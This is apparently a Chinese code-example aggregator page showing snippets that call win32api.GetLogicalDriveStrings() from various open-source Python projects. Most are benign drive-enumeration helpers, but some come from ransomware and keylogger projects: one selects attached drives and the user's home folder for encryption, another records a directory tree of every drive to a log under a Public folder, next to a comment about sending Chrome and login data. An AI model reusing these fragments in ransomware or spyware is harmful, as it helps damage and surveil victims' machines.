Python win32api 模块,GetLogicalDriveStrings() 实例源码

我们从Python开源项目中,提取了以下13个代码示例,用于说明如何使用win32api.GetLogicalDriveStrings()

项目:LinkArchiever    作者:Mohamad1994HD    | 项目源码 | 文件源码
def get_drives():

    def get_win_drives():
        import win32api

        drives = win32api.GetLogicalDriveStrings()
        drives = drives.split('\000')[:-1]

        return drives

    def get_linux_drives():
        return []

    def get_mac_drives():
        return []

    def switch(case):
        return {'win': get_win_drives(),
                'linux': get_linux_drives(),
                'macosx': get_mac_drives()}[case]

    return switch(platform)
项目:Crypter    作者:sithis993    | 项目源码 | 文件源码
def get_base_dirs(self, home_dir, __config):
      # Function to return a list of base directories to encrypt
      base_dirs = []

      # Add attached drives and file shares
      if __config["encrypt_attached_drives"] is True:
          attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1]
          for drive in attached_drives:
              drive_letter = drive[0]
              if drive_letter != 'C' and not self.is_optical_drive(drive_letter):
                  base_dirs.append(drive)

      # Add C:\\ user space directories
      if __config["encrypt_user_home"] is True:
          base_dirs.append(home_dir)


      return base_dirs
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def findUnusedDriveLetter():
    existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
    handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
    try:
        while 1:
            items = win32wnet.WNetEnumResource(handle, 0)
            if len(items)==0:
                break
            xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
            existing.extend(xtra)
    finally:
        handle.Close()
    for maybe in 'defghijklmnopqrstuvwxyz':
        if maybe not in existing:
            return maybe
    raise RuntimeError("All drive mappings are taken?")
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def findUnusedDriveLetter(self):
        existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
        handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
        try:
                while 1:
                        items = win32wnet.WNetEnumResource(handle, 0)
                        if len(items)==0:
                                break
                        xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
                        existing.extend(xtra)
        finally:
                handle.Close()
        for maybe in 'defghijklmnopqrstuvwxyz':
                if maybe not in existing:
                        return maybe
        self.fail("All drive mappings are taken?")
项目:CodeReader    作者:jasonrbr    | 项目源码 | 文件源码
def findUnusedDriveLetter():
    existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
    handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
    try:
        while 1:
            items = win32wnet.WNetEnumResource(handle, 0)
            if len(items)==0:
                break
            xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
            existing.extend(xtra)
    finally:
        handle.Close()
    for maybe in 'defghijklmnopqrstuvwxyz':
        if maybe not in existing:
            return maybe
    raise RuntimeError("All drive mappings are taken?")
项目:CodeReader    作者:jasonrbr    | 项目源码 | 文件源码
def findUnusedDriveLetter(self):
        existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
        handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
        try:
                while 1:
                        items = win32wnet.WNetEnumResource(handle, 0)
                        if len(items)==0:
                                break
                        xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
                        existing.extend(xtra)
        finally:
                handle.Close()
        for maybe in 'defghijklmnopqrstuvwxyz':
                if maybe not in existing:
                        return maybe
        self.fail("All drive mappings are taken?")
项目:PancakeViewer    作者:forensicmatt    | 项目源码 | 文件源码
def PopulateVolumes(self):
        volume_list_string = win32api.GetLogicalDriveStrings()
        volume_list = volume_list_string.split('\x00')
        for volume_name in volume_list:
            if volume_name != '':
                self.combo_logical_volumes.Append('\\\\.\\{}'.format(volume_name[:-1]))
# end of class LogicalVolumeDialog
项目:bksync    作者:oddy    | 项目源码 | 文件源码
def DriveNameToPath(drive):
    if os.name=='nt':
        import win32api
        namePaths = { win32api.GetVolumeInformation(i)[0].lower():i for i in win32api.GetLogicalDriveStrings().split('\0') if i }
        drive = drive.lower()
        if drive not in namePaths:  raise ValueError('Drive name "%s" not found' % drive)
        return namePaths[drive]
    else:
        raise NotImplementedError       # todo: do something with /media/XXX here for ubuntu
项目:LHF    作者:blindfuzzy    | 项目源码 | 文件源码
def check_drives():
    for drive in win32api.GetLogicalDriveStrings().split("\x00"):
        sys.stdout.write(".")
        type = win32file.GetDriveType(drive)
        if type == win32con.DRIVE_FIXED:
            fs = win32api.GetVolumeInformation(drive)[4]
            if fs == 'NTFS':
                warning = ""
                weak_perms = check_weak_write_perms(drive, 'directory')
                if weak_perms:
                    # print "Weak permissions on drive root %s:" % drive
                    # print_weak_perms('directory', weak_perms)
                    sys.stdout.write(".")
                    save_issue("WPC010", "writable_drive_root", weak_perms) 
            elif fs == 'FAT':
                save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (FAT does not support file permissions)" )
                sys.stdout.write("!")
            elif fs == 'FAT32':
                save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem  (FAT32 does not support file permissions)" )
                sys.stdout.write("!")
            else:
                warning = " (not NTFS - might be insecure)"
                save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (Not NTFS - might not be secure)" )
                sys.stdout.write("!")


            # print "Fixed drive %s has %s filesystem%s" % (drive, fs, warning)

    print
项目:rvmi-rekall    作者:fireeye    | 项目源码 | 文件源码
def get_drives():
    """List all the drives on this system."""
    drives = win32api.GetLogicalDriveStrings()
    return [x.rstrip("\\") for x in drives.split('\000') if x]
项目:BrainDamage    作者:mehulj94    | 项目源码 | 文件源码
def get_list_drives(self):
        print '[*] Getting list of available drives'
        drives = win32api.GetLogicalDriveStrings()
        drives = drives.split('\000')[:-1]
        print '[*] Returning list of drives'
        return drives
项目:gyp    作者:electron    | 项目源码 | 文件源码
def GetFirstFreeDriveLetter():
    """ Returns the first unused Windows drive letter in [A, Z] """
    all_letters = [c for c in string.uppercase]
    in_use = win32api.GetLogicalDriveStrings()
    free = list(set(all_letters) - set(in_use))
    return free[0]
项目:Radium-Keylogger    作者:mehulj94    | 项目源码 | 文件源码
def DriveTree():
    file_dir1 = 'C:\Users\Public\Intel\Logs\Dir_View.txt'   #The drive hierarchy will be saved in this file
    drives = win32api.GetLogicalDriveStrings()
    drives = drives.split('\000')[:-1]
    no_of_drives = len(drives)
    file_dir_O = open(file_dir1, "w")

    for d in range(no_of_drives):
        try:
            file_dir_O.write(str(drives[d]) + "\n")
            directories = os.walk(drives[d])
            next_dir = next(directories)

            next_directories = next_dir[1]
            next_files = next_dir[2]

            next_final_dir = next_directories + next_files

            for nd in next_final_dir:
                file_dir_O.write("  " + str(nd) + "\n")
                try:
                    sub_directories = os.walk(drives[d] + nd)

                    next_sub_dir = next(sub_directories)[1]
                    next_sub_sub_file = next(sub_directories)[2]

                    next_final_final_dir = next_sub_dir + next_sub_sub_file

                    for nsd in next_final_final_dir:
                        file_dir_O.write("      " + str(nsd) + "\n")

                        try:
                            sub_sub_directories = os.walk(drives[d] + nd + '\\' + nsd)

                            next_sub_sub_dir = next(sub_sub_directories)[1]
                            next_sub_sub_sub_file = next(sub_sub_directories)[2]

                            next_final_final_final_dir = next_sub_sub_dir + next_sub_sub_sub_file

                            for nssd in next_final_final_final_dir:
                                file_dir_O.write("          " + str(nssd) + "\n")
                        except Exception as e:
                            pass

                except Exception as e:
                    pass
        except Exception as e:
            pass

    file_dir_O.close()
    return True

#Function to send the data i.e. info.txt, chrome data, login data, screenshots